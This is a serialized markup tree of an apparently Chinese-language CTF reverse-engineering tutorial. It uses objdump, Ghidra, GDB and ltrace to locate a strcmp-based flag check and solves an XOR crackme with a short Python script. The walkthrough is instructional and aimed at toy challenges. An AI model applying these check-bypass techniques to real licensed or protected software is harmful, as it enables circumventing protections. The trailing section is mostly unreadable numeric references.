",[19,1260,1261],{},"je/jne","（条件跳转）就能定位判断点。",[462,1264,1266],{"id":1265},"_41-objdump-看-main","4.1 objdump 看 main",[15,1268,262],{},[39,1270,1272],{"className":41,"code":1271,"language":43,"meta":44,"style":44},"objdump -d -M intel checkflag\n",[19,1273,1274],{"__ignoreMap":44},[48,1275,1276,1279,1282,1285,1288],{"class":50,"line":51},[48,1277,1278],{"class":54},"objdump",[48,1280,1281],{"class":219}," -d",[48,1283,1284],{"class":219}," -M",[48,1286,1287],{"class":58}," intel",[48,1289,1085],{"class":58},[15,1291,1292],{},"输出很长，用 grep 只看 main：",[39,1294,1296],{"className":41,"code":1295,"language":43,"meta":44,"style":44},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[19,1297,1298],{"__ignoreMap":44},[48,1299,1300,1302,1304,1306,1308,1311,1314,1317,1320,1323,1327,1330],{"class":50,"line":51},[48,1301,1278],{"class":54},[48,1303,1281],{"class":219},[48,1305,1284],{"class":219},[48,1307,1287],{"class":58},[48,1309,1310],{"class":58}," checkflag",[48,1312,1313],{"class":987}," |",[48,1315,1316],{"class":54}," grep",[48,1318,1319],{"class":219}," -A",[48,1321,1322],{"class":219}," 40",[48,1324,1326],{"class":1325},"seVfx"," '",[48,1328,1329],{"class":58},"\u003Cmain>",[48,1331,1332],{"class":1325},"'\n",[15,1334,1335],{},"预期输出（节选）：",[39,1337,1341],{"className":1338,"code":1339,"language":1340,"meta":44,"style":44},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[19,1342,1343,1348,1353,1358,1363,1368,1373,1378,1383,1388],{"__ignoreMap":44},[48,1344,1345],{"class":50,"line":51},[48,1346,1347],{},"0000000000001189 \u003Cmain>:\n",[48,1349,1350],{"class":50,"line":68},[48,1351,1352],{},"    1189:  push   rbp\n",[48,1354,1355],{"class":50,"line":107},[48,1356,1357],{},"    118a:  mov    rbp, rsp\n",[48,1359,1360],{"class":50,"line":114},[48,1361,1362],{},"    1191:  cmp    edi, 0x2\n",[48,1364,1365],{"class":50,"line":120},[48,1366,1367],{},"    1194:  jne    0x11a0\n",[48,1369,1370],{"class":50,"line":126},[48,1371,1372],{},"    119e:  call   0x1149 \u003Ccheck>\n",[48,1374,1375],{"class":50,"line":132},[48,1376,1377],{},"    11a3:  test   eax, eax\n",[48,1379,1380],{"class":50,"line":137},[48,1381,1382],{},"    11a5:  je     0x11b5\n",[48,1384,1385],{"class":50,"line":143},[48,1386,1387],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[48,1389,1390],{"class":50,"line":149},[48,1391,1392],{},"    11ae:  call   puts@plt\n",[15,1394,1395],{},"逐行解释：",[294,1397,1398,1407],{},[297,1399,1400],{},[300,1401,1402,1405],{},[303,1403,1404],{},"指令",[303,1406,308],{},[313,1408,1409,1419,1429,1439],{},[300,1410,1411,1416],{},[318,1412,1413],{},[19,1414,1415],{},"cmp edi, 0x2",[318,1417,1418],{},"比较参数个数 argc 是否为 2",[300,1420,1421,1426],{},[318,1422,1423],{},[19,1424,1425],{},"call check",[318,1427,1428],{},"调用校验函数 check",[300,1430,1431,1436],{},[318,1432,1433],{},[19,1434,1435],{},"test eax, eax",[318,1437,1438],{},"检查返回值是否为 0",[300,1440,1441,1446],{},[318,1442,1443],{},[19,1444,1445],{},"je 0x11b5",[318,1447,1448],{},"为 0 则跳到打印 Wrong 的地方",[15,1450,1451,1452,1455],{},"结论：逻辑在 ",[19,1453,1454],{},"check"," 函数里。",[15,1457,1458,87,1461,1463,1464,1466,1467,1470,1471,1473,1474,30],{},[27,1459,1460],{},"怎么想到看 check",[19,1462,1425],{}," 之后紧跟 ",[19,1465,1435],{}," 和 ",[19,1468,1469],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[19,1472,1454],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[19,1475,1454],{},[462,1477,1479],{"id":1478},"_42-看-check","4.2 看 check",[39,1481,1483],{"className":41,"code":1482,"language":43,"meta":44,"style":44},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[19,1484,1485],{"__ignoreMap":44},[48,1486,1487,1489,1491,1493,1495,1497,1499,1501,1503,1506,1508,1511],{"class":50,"line":51},[48,1488,1278],{"class":54},[48,1490,1281],{"class":219},[48,1492,1284],{"class":219},[48,1494,1287],{"class":58},[48,1496,1310],{"class":58},[48,1498,1313],{"class":987},[48,1500,1316],{"class":54},[48,1502,1319],{"class":219},[48,1504,1505],{"class":219}," 50",[48,1507,1326],{"class":1325},[48,1509,1510],{"class":58},"\u003Ccheck>",[48,1512,1332],{"class":1325},[15,1514,1515],{},"如果看到：",[39,1517,1519],{"className":1338,"code":1518,"language":1340,"meta":44,"style":44},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[19,1520,1521,1526,1531],{"__ignoreMap":44},[48,1522,1523],{"class":50,"line":51},[48,1524,1525],{},"call   strcmp@plt\n",[48,1527,1528],{"class":50,"line":68},[48,1529,1530],{},"test   eax, eax\n",[48,1532,1533],{"class":50,"line":107},[48,1534,1535],{},"je     ...\n",[15,1537,1538,1539,1542],{},"说明是字符串比较，flag 就藏在 ",[19,1540,1541],{},".rodata"," 里。",[15,1544,1545,87,1547,1550,1551,1554,1555,1557],{},[27,1546,836],{},[19,1548,1549],{},"call strcmp@plt"," 前面通常有一条 ",[19,1552,1553],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[19,1556,1541],{}," 里找内容即可。",[462,1559,1561],{"id":1560},"_43-看只读数据段","4.3 看只读数据段",[39,1563,1565],{"className":41,"code":1564,"language":43,"meta":44,"style":44},"objdump -s -j .rodata checkflag\n",[19,1566,1567],{"__ignoreMap":44},[48,1568,1569,1571,1574,1577,1580],{"class":50,"line":51},[48,1570,1278],{"class":54},[48,1572,1573],{"class":219}," -s",[48,1575,1576],{"class":219}," -j",[48,1578,1579],{"class":58}," .rodata",[48,1581,1085],{"class":58},[15,1583,281],{},[39,1585,1588],{"className":1586,"code":1587,"language":287,"meta":44},[285],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[19,1589,1587],{"__ignoreMap":44},[15,1591,1592,1593,1596,1597,30],{},"ASCII 十六进制 ",[19,1594,1595],{},"63 6f 6e 67..."," 解出来就是 ",[19,1598,1599],{},"congratulations",[15,1601,1602,1605,1606,1608,1609,1612],{},[27,1603,1604],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[19,1607,1541],{},"，",[19,1610,1611],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[462,1614,1616],{"id":1615},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1618,1619],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[39,1621,1623],{"className":41,"code":1622,"language":43,"meta":44,"style":44},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[19,1624,1625,1637,1652,1664],{"__ignoreMap":44},[48,1626,1627,1629,1631,1634],{"class":50,"line":51},[48,1628,55],{"class":54},[48,1630,59],{"class":58},[48,1632,1633],{"class":58}," openjdk-21-jdk",[48,1635,1636],{"class":58}," unzip\n",[48,1638,1639,1642,1645,1649],{"class":50,"line":68},[48,1640,1641],{"class":54},"wget",[48,1643,1644],{"class":58}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[48,1646,1648],{"class":1647},"sqerP","*",[48,1650,1651],{"class":58},".zip\n",[48,1653,1654,1657,1660,1662],{"class":50,"line":107},[48,1655,1656],{"class":54},"unzip",[48,1658,1659],{"class":58}," ghidra_",[48,1661,1648],{"class":1647},[48,1663,1651],{"class":58},[48,1665,1666,1670,1672,1674,1677,1680],{"class":50,"line":114},[48,1667,1669],{"class":1668},"sLL85","cd",[48,1671,1659],{"class":58},[48,1673,1648],{"class":1647},[48,1675,1676],{"class":58},"_PUBLIC",[48,1678,1679],{"class":994}," && ",[48,1681,1682],{"class":54},"./ghidraRun\n",[15,1684,1685],{},"操作步骤：",[1687,1688,1689,1693,1699,1702],"ol",{},[1690,1691,1692],"li",{},"File → New Project → 命名。",[1690,1694,1695,1696,1698],{},"把 ",[19,1697,1051],{}," 拖进项目，双击导入。",[1690,1700,1701],{},"等待自动分析完成。",[1690,1703,1704,1705,1708],{},"左侧 Symbol Tree 双击 ",[19,1706,1707],{},"main","，右侧 Decompiler 显示伪代码。",[15,1710,1711],{},"预期伪代码：",[39,1713,1715],{"className":90,"code":1714,"language":92,"meta":44,"style":44},"if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n",[19,1716,1717,1722,1727,1732],{"__ignoreMap":44},[48,1718,1719],{"class":50,"line":51},[48,1720,1721],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[48,1723,1724],{"class":50,"line":68},[48,1725,1726],{},"    puts(\"Correct!\");\n",[48,1728,1729],{"class":50,"line":107},[48,1730,1731],{},"else\n",[48,1733,1734],{"class":50,"line":114},[48,1735,1736],{},"    puts(\"Wrong!\");\n",[15,1738,1739],{},"flag 直接可见。",[10,1741,1743],{"id":1742},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,1745,1746],{},"静态分析看不懂时，让程序跑起来。",[15,1748,1749,1751],{},[27,1750,252],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1753,1754,1756,1757,1760],{},[27,1755,258],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[19,1758,1759],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[39,1762,1764],{"className":41,"code":1763,"language":43,"meta":44,"style":44},"gdb ./checkflag\n",[19,1765,1766],{"__ignoreMap":44},[48,1767,1768,1771],{"class":50,"line":51},[48,1769,1770],{"class":54},"gdb",[48,1772,976],{"class":58},[15,1774,1775],{},"进入 GDB 交互后：",[462,1777,1779],{"id":1778},"_51-下断点","5.1 下断点",[39,1781,1784],{"className":1782,"code":1783,"language":1770,"meta":44,"style":44},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[19,1785,1786],{"__ignoreMap":44},[48,1787,1788],{"class":50,"line":51},[48,1789,1783],{},[15,1791,281],{},[39,1793,1796],{"className":1794,"code":1795,"language":287,"meta":44},[285],"Breakpoint 1 at 0x1149\n",[19,1797,1795],{"__ignoreMap":44},[462,1799,1801],{"id":1800},"_52-带参数运行","5.2 带参数运行",[39,1803,1805],{"className":1782,"code":1804,"language":1770,"meta":44,"style":44},"(gdb) run test\n",[19,1806,1807],{"__ignoreMap":44},[48,1808,1809],{"class":50,"line":51},[48,1810,1804],{},[15,1812,281],{},[39,1814,1817],{"className":1815,"code":1816,"language":287,"meta":44},[285],"Breakpoint 1, 0x0000555555555149 in check ()\n",[19,1818,1816],{"__ignoreMap":44},[15,1820,1821],{},"程序停在 check 入口。",[462,1823,1825],{"id":1824},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[39,1827,1829],{"className":1782,"code":1828,"language":1770,"meta":44,"style":44},"(gdb) x/20i $rip\n",[19,1830,1831],{"__ignoreMap":44},[48,1832,1833],{"class":50,"line":51},[48,1834,1828],{},[15,1836,1837],{},"输出 check 函数开头的 20 条汇编。",[462,1839,1841],{"id":1840},"_54-单步并观察比较","5.4 单步并观察比较",[39,1843,1845],{"className":1782,"code":1844,"language":1770,"meta":44,"style":44},"(gdb) stepi\n",[19,1846,1847],{"__ignoreMap":44},[48,1848,1849],{"class":50,"line":51},[48,1850,1844],{},[15,1852,1853,1854,1856],{},"反复执行直到看到 ",[19,1855,1549],{},"。然后：",[39,1858,1860],{"className":1782,"code":1859,"language":1770,"meta":44,"style":44},"(gdb) x/s $rsi\n",[19,1861,1862],{"__ignoreMap":44},[48,1863,1864],{"class":50,"line":51},[48,1865,1859],{},[15,1867,1868],{},"预期输出：程序正在比较的字符串，即 flag。",[15,1870,1871,87,1874,1877,1878,1881,1882,1885,1886,1877,1889,1892],{},[27,1872,1873],{},"补充说明",[19,1875,1876],{},"x/s"," 的 ",[19,1879,1880],{},"s"," 表示按字符串显示；",[19,1883,1884],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[19,1887,1888],{},"strcmp(a, b)",[19,1890,1891],{},"b"," 就存在这里。",[15,1894,1895,1896,1899],{},"补充：如果嫌 GDB 麻烦，",[19,1897,1898],{},"ltrace"," 直接跟踪库调用：",[39,1901,1903],{"className":41,"code":1902,"language":43,"meta":44,"style":44},"ltrace ./checkflag test\n",[19,1904,1905],{"__ignoreMap":44},[48,1906,1907,1909,1911],{"class":50,"line":51},[48,1908,1898],{"class":54},[48,1910,984],{"class":58},[48,1912,1007],{"class":58},[15,1914,1915],{},"预期输出中会出现：",[39,1917,1920],{"className":1918,"code":1919,"language":287,"meta":44},[285],"strcmp(\"test\", \"congratulations\") = 1\n",[19,1921,1919],{"__ignoreMap":44},[15,1923,1924],{},"flag 一目了然。",[15,1926,1927,1930],{},[27,1928,1929],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,1932,1934],{"id":1933},"六必学工具","六、必学工具",[294,1936,1937,1949],{},[297,1938,1939],{},[300,1940,1941,1943,1946],{},[303,1942,718],{},[303,1944,1945],{},"核心功能",[303,1947,1948],{},"命令示例",[313,1950,1951,1963,1981,1996],{},[300,1952,1953,1955,1958],{},[318,1954,1082],{},[318,1956,1957],{},"看类型、位数、是否 stripped",[318,1959,1960],{},[19,1961,1962],{},"file checkflag",[300,1964,1965,1967,1970],{},[318,1966,1125],{},[318,1968,1969],{},"提取字符串、指定最小长度、管道过滤",[318,1971,1972,530,1975,530,1978],{},[19,1973,1974],{},"strings checkflag",[19,1976,1977],{},"strings -n 3 a",[19,1979,1980],{},"strings a | grep flag",[300,1982,1983,1985,1988],{},[318,1984,1278],{},[318,1986,1987],{},"反汇编、看数据段、Intel 语法",[318,1989,1990,530,1993],{},[19,1991,1992],{},"objdump -d -M intel a",[19,1994,1995],{},"objdump -s -j .rodata a",[300,1997,1998,2001,2004],{},[318,1999,2000],{},"GDB",[318,2002,2003],{},"断点、运行、看内存/寄存器",[318,2005,2006,530,2009,530,2012],{},[19,2007,2008],{},"break check",[19,2010,2011],{},"run",[19,2013,2014],{},"x/20i $rip",[15,2016,2017,2018,740,2020,2023],{},"另：Ghidra 负责把汇编还原成伪代码；",[19,2019,1898],{},[19,2021,2022],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2025,2027],{"id":2026},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2029,793,2030,2033],{},[19,2031,2032],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[462,2035,2037],{"id":2036},"第一步侦查","第一步：侦查",[15,2039,2040,2042],{},[27,2041,252],{},"：先找密钥与提示。",[15,2044,2045,87,2047,2049,2050,2052,2053,2055],{},[27,2046,258],{},[19,2048,1125],{}," 默认漏掉短串，所以用 ",[19,2051,1192],{},"；看到 ",[19,2054,1188],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[39,2057,2059],{"className":41,"code":2058,"language":43,"meta":44,"style":44},"strings -n 3 crackme\n",[19,2060,2061],{"__ignoreMap":44},[48,2062,2063,2065,2067,2069],{"class":50,"line":51},[48,2064,1125],{"class":54},[48,2066,1157],{"class":219},[48,2068,1160],{"class":219},[48,2070,2071],{"class":58}," crackme\n",[15,2073,2074,2075,2077],{},"预期输出中有 ",[19,2076,1188],{},"——疑似密钥。",[462,2079,2081],{"id":2080},"第二步反编译-check","第二步：反编译 check",[15,2083,2084,2086],{},[27,2085,252],{},"：确认密钥如何使用、密文数组是什么。",[15,2088,2089,2091,2092,2095],{},[27,2090,836],{},"：伪代码 ",[19,2093,2094],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2097,2098,2099,2101],{},"用 Ghidra 打开，",[19,2100,1454],{}," 伪代码：",[39,2103,2105],{"className":90,"code":2104,"language":92,"meta":44,"style":44},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[19,2106,2107],{"__ignoreMap":44},[48,2108,2109],{"class":50,"line":51},[48,2110,2104],{},[462,2112,2114],{"id":2113},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2116,2117,2119],{},[27,2118,252],{},"：把\"加密\"反过来算，得到明文。",[15,2121,2122,2124,2125,2128],{},[27,2123,258],{},"：异或的自反性 ",[19,2126,2127],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[39,2130,2132],{"className":383,"code":2131,"language":385,"meta":44,"style":44},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[19,2133,2134,2139,2144,2149,2154,2159,2164,2169,2174,2179,2184,2189],{"__ignoreMap":44},[48,2135,2136],{"class":50,"line":51},[48,2137,2138],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[48,2140,2141],{"class":50,"line":68},[48,2142,2143],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[48,2145,2146],{"class":50,"line":107},[48,2147,2148],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[48,2150,2151],{"class":50,"line":114},[48,2152,2153],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[48,2155,2156],{"class":50,"line":120},[48,2157,2158],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[48,2160,2161],{"class":50,"line":126},[48,2162,2163],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[48,2165,2166],{"class":50,"line":132},[48,2167,2168],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[48,2170,2171],{"class":50,"line":137},[48,2172,2173],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[48,2175,2176],{"class":50,"line":143},[48,2177,2178],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[48,2180,2181],{"class":50,"line":149},[48,2182,2183],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[48,2185,2186],{"class":50,"line":155},[48,2187,2188],{},"print(flag.decode())\n",[48,2190,2191],{"class":50,"line":160},[48,2192,2193],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2195,1212],{},[39,2197,2200],{"className":2198,"code":2199,"language":287,"meta":44},[285],"ctf{reverse_engineering}\n",[19,2201,2199],{"__ignoreMap":44},[462,2203,2205],{"id":2204},"第四步验证","第四步：验证",[39,2207,2209],{"className":41,"code":2208,"language":43,"meta":44,"style":44},"./crackme ctf{reverse_engineering}\n",[19,2210,2211],{"__ignoreMap":44},[48,2212,2213,2216],{"class":50,"line":51},[48,2214,2215],{"class":54},"./crackme",[48,2217,2218],{"class":58}," ctf{reverse_engineering}\n",[15,2220,1212,2221,30],{},[19,2222,1181],{},[10,2224,2226],{"id":2225},"八小结","八、小结",[15,2228,2229,2230,740,2232,2234,2235,2237],{},"逆向入门三步：",[19,2231,1082],{},[19,2233,1125],{}," 侦查 → ",[19,2236,1278],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[920,2239,2240],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":44,"searchDepth":68,"depth":68,"links":2242},[2243,2244,2245,2246,2247,2248,2249,2250],{"id":956,"depth":107,"text":957},{"id":33,"depth":107,"text":34},{"id":1055,"depth":107,"text":1056},{"id":1239,"depth":107,"text":1240},{"id":1742,"depth":107,"text":1743},{"id":1933,"depth":107,"text":1934},{"id":2026,"depth":107,"text":2027},{"id":2225,"depth":107,"text":2226},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":938,"image":2253,"alt":2254,"tags":2255,"published":110},"/blogs-img/blog1.png","CTF 逆向入门",[942,2256,943],"reverse","/blogs/ctf-reverse-overview",{"title":951,"description":2251},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":4,"title":5,"body":2262,"description":935,"extension":936,"meta":2937,"navigation":110,"ogImage":939,"path":944,"seo":2939,"stem":946,"__hash__":947},{"type":7,"value":2263,"toc":2925},[2264,2266,2270,2274,2276,2278,2300,2302,2306,2386,2388,2414,2416,2420,2424,2426,2438,2440,2445,2447,2493,2495,2499,2504,2508,2564,2568,2570,2572,2604,2606,2611,2613,2621,2627,2635,2637,2673,2679,2681,2685,2689,2749,2751,2756,2762,2764,2820,2822,2828,2830,2840,2846,2850,2854,2906,2908,2913,2915,2923],[10,2265,13],{"id":12},[15,2267,17,2268,22],{},[19,2269,21],{},[15,2271,25,2272,30],{},[27,2273,29],{},[10,2275,34],{"id":33},[15,2277,37],{},[39,2279,2280],{"className":41,"code":42,"language":43,"meta":44,"style":44},[19,2281,2282,2292],{"__ignoreMap":44},[48,2283,2284,2286,2288,2290],{"class":50,"line":51},[48,2285,55],{"class":54},[48,2287,59],{"class":58},[48,2289,62],{"class":58},[48,2291,65],{"class":58},[48,2293,2294,2296,2298],{"class":50,"line":68},[48,2295,71],{"class":54},[48,2297,59],{"class":58},[48,2299,76],{"class":58},[10,2301,80],{"id":79},[15,2303,83,2304,87],{},[19,2305,86],{},[39,2307,2308],{"className":90,"code":91,"language":92,"meta":44,"style":44},[19,2309,2310,2314,2318,2322,2326,2330,2334,2338,2342,2346,2350,2354,2358,2362,2366,2370,2374,2378,2382],{"__ignoreMap":44},[48,2311,2312],{"class":50,"line":51},[48,2313,99],{},[48,2315,2316],{"class":50,"line":68},[48,2317,104],{},[48,2319,2320],{"class":50,"line":107},[48,2321,111],{"emptyLinePlaceholder":110},[48,2323,2324],{"class":50,"line":114},[48,2325,117],{},[48,2327,2328],{"class":50,"line":120},[48,2329,123],{},[48,2331,2332],{"class":50,"line":126},[48,2333,129],{},[48,2335,2336],{"class":50,"line":132},[48,2337,111],{"emptyLinePlaceholder":110},[48,2339,2340],{"class":50,"line":137},[48,2341,140],{},[48,2343,2344],{"class":50,"line":143},[48,2345,146],{},[48,2347,2348],{"class":50,"line":149},[48,2349,152],{},[48,2351,2352],{"class":50,"line":155},[48,2353,129],{},[48,2355,2356],{"class":50,"line":160},[48,2357,111],{"emptyLinePlaceholder":110},[48,2359,2360],{"class":50,"line":165},[48,2361,168],{},[48,2363,2364],{"class":50,"line":171},[48,2365,174],{},[48,2367,2368],{"class":50,"line":177},[48,2369,180],{},[48,2371,2372],{"class":50,"line":183},[48,2373,186],{},[48,2375,2376],{"class":50,"line":189},[48,2377,192],{},[48,2379,2380],{"class":50,"line":195},[48,2381,198],{},[48,2383,2384],{"class":50,"line":201},[48,2385,129],{},[15,2387,206],{},[39,2389,2390],{"className":41,"code":209,"language":43,"meta":44,"style":44},[19,2391,2392,2406,2410],{"__ignoreMap":44},[48,2393,2394,2396,2398,2400,2402,2404],{"class":50,"line":51},[48,2395,216],{"class":54},[48,2397,220],{"class":219},[48,2399,223],{"class":58},[48,2401,226],{"class":58},[48,2403,229],{"class":219},[48,2405,232],{"class":219},[48,2407,2408],{"class":50,"line":68},[48,2409,238],{"class":237},[48,2411,2412],{"class":50,"line":107},[48,2413,243],{"class":237},[10,2415,247],{"id":246},[15,2417,2418,253],{},[27,2419,252],{},[15,2421,2422,259],{},[27,2423,258],{},[15,2425,262],{},[39,2427,2428],{"className":41,"code":265,"language":43,"meta":44,"style":44},[19,2429,2430],{"__ignoreMap":44},[48,2431,2432,2434,2436],{"class":50,"line":51},[48,2433,272],{"class":54},[48,2435,275],{"class":58},[48,2437,278],{"class":58},[15,2439,281],{},[39,2441,2443],{"className":2442,"code":286,"language":287,"meta":44},[285],[19,2444,286],{"__ignoreMap":44},[15,2446,292],{},[294,2448,2449,2459],{},[297,2450,2451],{},[300,2452,2453,2455,2457],{},[303,2454,305],{},[303,2456,308],{},[303,2458,311],{},[313,2460,2461,2471,2481],{},[300,2462,2463,2467,2469],{},[318,2464,2465],{},[19,2466,322],{},[318,2468,325],{},[318,2470,328],{},[300,2472,2473,2477,2479],{},[318,2474,2475],{},[19,2476,335],{},[318,2478,338],{},[318,2480,341],{},[300,2482,2483,2487,2489],{},[318,2484,2485],{},[19,2486,348],{},[318,2488,351],{},[318,2490,2491,357],{},[19,2492,356],{},[10,2494,361],{"id":360},[15,2496,2497,367],{},[19,2498,366],{},[39,2500,2502],{"className":2501,"code":371,"language":287,"meta":44},[285],[19,2503,371],{"__ignoreMap":44},[15,2505,376,2506,380],{},[19,2507,379],{},[39,2509,2510],{"className":383,"code":384,"language":385,"meta":44,"style":44},[19,2511,2512,2516,2520,2524,2528,2532,2536,2540,2544,2548,2552,2556,2560],{"__ignoreMap":44},[48,2513,2514],{"class":50,"line":51},[48,2515,392],{},[48,2517,2518],{"class":50,"line":68},[48,2519,111],{"emptyLinePlaceholder":110},[48,2521,2522],{"class":50,"line":107},[48,2523,401],{},[48,2525,2526],{"class":50,"line":114},[48,2527,406],{},[48,2529,2530],{"class":50,"line":120},[48,2531,411],{},[48,2533,2534],{"class":50,"line":126},[48,2535,416],{},[48,2537,2538],{"class":50,"line":132},[48,2539,421],{},[48,2541,2542],{"class":50,"line":137},[48,2543,426],{},[48,2545,2546],{"class":50,"line":143},[48,2547,431],{},[48,2549,2550],{"class":50,"line":149},[48,2551,436],{},[48,2553,2554],{"class":50,"line":155},[48,2555,441],{},[48,2557,2558],{"class":50,"line":160},[48,2559,446],{},[48,2561,2562],{"class":50,"line":165},[48,2563,451],{},[15,2565,281,2566,30],{},[19,2567,456],{},[10,2569,460],{"id":459},[462,2571,465],{"id":464},[39,2573,2574],{"className":383,"code":468,"language":385,"meta":44,"style":44},[19,2575,2576,2580,2584,2588,2592,2596,2600],{"__ignoreMap":44},[48,2577,2578],{"class":50,"line":51},[48,2579,392],{},[48,2581,2582],{"class":50,"line":68},[48,2583,111],{"emptyLinePlaceholder":110},[48,2585,2586],{"class":50,"line":107},[48,2587,483],{},[48,2589,2590],{"class":50,"line":114},[48,2591,488],{},[48,2593,2594],{"class":50,"line":120},[48,2595,493],{},[48,2597,2598],{"class":50,"line":126},[48,2599,498],{},[48,2601,2602],{"class":50,"line":132},[48,2603,503],{},[15,2605,281],{},[39,2607,2609],{"className":2608,"code":509,"language":287,"meta":44},[285],[19,2610,509],{"__ignoreMap":44},[462,2612,515],{"id":514},[39,2614,2615],{"className":383,"code":401,"language":385,"meta":44,"style":44},[19,2616,2617],{"__ignoreMap":44},[48,2618,2619],{"class":50,"line":51},[48,2620,401],{},[15,2622,526,2623,530,2625,534],{},[19,2624,529],{},[19,2626,533],{},[39,2628,2629],{"className":383,"code":537,"language":385,"meta":44,"style":44},[19,2630,2631],{"__ignoreMap":44},[48,2632,2633],{"class":50,"line":51},[48,2634,537],{},[462,2636,547],{"id":546},[39,2638,2639],{"className":383,"code":550,"language":385,"meta":44,"style":44},[19,2640,2641,2645,2649,2653,2657,2661,2665,2669],{"__ignoreMap":44},[48,2642,2643],{"class":50,"line":51},[48,2644,557],{},[48,2646,2647],{"class":50,"line":68},[48,2648,562],{},[48,2650,2651],{"class":50,"line":10